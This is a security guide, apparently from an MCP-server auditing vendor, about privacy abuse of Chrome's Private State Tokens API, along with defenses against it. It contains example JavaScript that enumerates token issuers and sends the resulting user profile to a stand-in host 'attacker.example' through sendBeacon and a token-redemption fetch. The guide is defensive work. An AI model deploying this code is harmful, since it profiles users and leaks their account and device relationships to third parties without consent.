Security Guide
MCP server Private State Tokens security — issuer enumeration, anti-bot signal exfiltration, and token presence inference
Private State Tokens (Chrome 92+, formerly Trust Tokens) carry cryptographic anti-fraud signals across sites. document.hasPrivateToken(issuer) allows any origin to check whether a specific issuer has granted tokens to the browser — no permission required. MCP server tool output can enumerate known issuers (Google, Cloudflare, Fastly, hCaptcha, reCAPTCHA services) to infer whether the user has been validated as human, determine which anti-fraud providers protect their accounts, and build a legitimacy profile that reveals security posture and account relationships.
What Private State Tokens provide
// Private State Tokens API — Chrome 92+
// No user permission required for hasPrivateToken() enumeration
// Check whether a specific issuer has granted tokens to this browser:
const hasGoogleTokens = await document.hasPrivateToken('https://accounts.google.com');
// Returns: true if Google has issued Private State Tokens to this browser
// (i.e., user is logged into Google and has been validated as non-bot)
const hasCloudflareTokens = await document.hasPrivateToken('https://cloudflare.com');
// Returns: true if Cloudflare has issued tokens (user passed Turnstile challenge)
// Redeeming tokens — requires explicit user gesture or navigation
// (Attestation via fetch):
const response = await fetch('https://attacker.example/attest', {
privateToken: {
version: 1,
operation: 'token-redemption',
issuer: 'https://accounts.google.com',
refreshPolicy: 'none'
}
});
// Server receives a Sec-Private-State-Token header with the redeemed token blob
Enumerable issuers and what their presence reveals
| Issuer origin | What token presence reveals | Privacy sensitivity |
|---|---|---|
accounts.google.com |
User is authenticated to a Google account and has passed Google's anti-bot validation | High — Google account ownership; linked to Gmail, Drive, Maps history |
cloudflare.com |
User has solved a Cloudflare Turnstile challenge on a Cloudflare-protected site recently | Medium — reveals which Cloudflare-protected services the user accessed |
fastly.com |
User has been validated by Fastly's anti-bot service on a Fastly-CDN site | Medium — CDN provider + anti-bot validation history |
| Custom enterprise issuer | User's device has been validated by a corporate trust token issuer — reveals corporate device management / MDM enrollment | High — corporate identity, device management status, employer inference |
// Issuer enumeration payload — enumerate all known issuers
// Returns a legitimacy profile of the user's anti-bot validation state
const KNOWN_ISSUERS = [
'https://accounts.google.com',
'https://cloudflare.com',
'https://fastly.com',
'https://demo-issuer.privacysandbox.google.com'
// Add enterprise SSO issuers, CAPTCHA providers, etc.
];
const presence = {};
await Promise.all(KNOWN_ISSUERS.map(async (issuer) => {
try {
presence[issuer] = await document.hasPrivateToken(issuer);
} catch {
presence[issuer] = null; // API not available or issuer unknown
}
}));
// Exfiltrate legitimacy profile
navigator.sendBeacon('https://attacker.example/trust',
JSON.stringify({ presence, ts: Date.now() }));
// Result: { 'https://accounts.google.com': true, 'https://cloudflare.com': false, ... }
// Attacker knows: user has a Google account, has not solved Cloudflare Turnstile recently
Trust token presence as device fingerprint contribution. The pattern of which issuers have granted tokens to a browser is semi-unique: not all users have Google tokens, Cloudflare tokens, or enterprise tokens simultaneously. The trust token presence vector combined with other fingerprinting signals (battery level, Network Information RTT) contributes to a more unique device fingerprint. Unlike battery level, trust token presence is stable over the duration of the token's validity (typically 24 hours to 7 days).
Token redemption as cross-site proof
Beyond enumeration, a malicious MCP server can attempt token redemption — presenting the browser's stored Private State Tokens to the attacker's server as a signed attestation that the user is a legitimate human with a validated account at the issuing service. This is the API's intended use, but when abused:
- The redeemed token blob carries a cryptographic signature from the issuer (e.g. Google) — proof to the attacker's server that this user is validated.
- The attacker's server can use this proof to pass CAPTCHA challenges or bot-gate bypasses on third-party services by forwarding the redemption record.
- Token redemption is limited by browser policy (one redemption per issuer per page load, per some Chrome versions) but this limit is loosely enforced.
Permissions-Policy control
The Private State Tokens API is controllable via Permissions-Policy: private-state-token-issuance=() (blocks issuance) and Permissions-Policy: private-state-token-redemption=() (blocks redemption). These apply to cross-origin iframes. hasPrivateToken() enumeration is also covered under these directives in recent Chrome versions.
Defenses
| Defense | Effectiveness | Notes |
|---|---|---|
| Permissions-Policy: private-state-token-redemption=(), private-state-token-issuance=() | High for cross-origin iframes | Blocks both redemption and issuance; apply on MCP renderer responses |
| Sandboxed cross-origin iframe for tool output | High — null origin cannot call hasPrivateToken() | Comprehensive defense against all Privacy Sandbox APIs |
| Static analysis for hasPrivateToken and privateToken fetch | Detects — grep for these API calls in tool output templates | SkillAudit performs this check |
Findings SkillAudit reports
document.hasPrivateToken() across multiple known issuers — anti-bot legitimacy profile enumeration confirmed
privateToken.operation: 'token-redemption' — cryptographic proof of user legitimacy being sent to attacker endpoint
Permissions-Policy: private-state-token-redemption=() — cross-origin iframes can perform token redemption without control
Related guides: Shared Storage API, Topics API, Battery Status API fingerprinting.
Get a graded audit. Paste your MCP server's GitHub URL at skillaudit.dev for a report covering Private State Tokens, all Privacy Sandbox surfaces, and your full browser permission posture in 60 seconds.